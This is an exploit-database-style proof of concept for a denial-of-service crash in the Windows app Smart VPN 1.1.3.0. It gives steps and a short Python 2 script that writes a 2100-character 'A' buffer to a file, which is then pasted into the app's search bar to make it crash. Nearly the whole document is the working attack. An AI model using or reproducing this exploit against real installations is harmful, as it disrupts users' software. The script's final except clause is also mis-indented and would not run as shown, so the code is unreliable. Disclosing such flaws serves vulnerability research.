# Exploit Title: Smart VPN 1.1.3.0 - Denial of Service (PoC)
# Date: 1/28/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NH1G93D4HKR
# Version: 1.1.3.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Enter
# App will now crash

buffer = "A" * 2100
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
print "File cannot be created"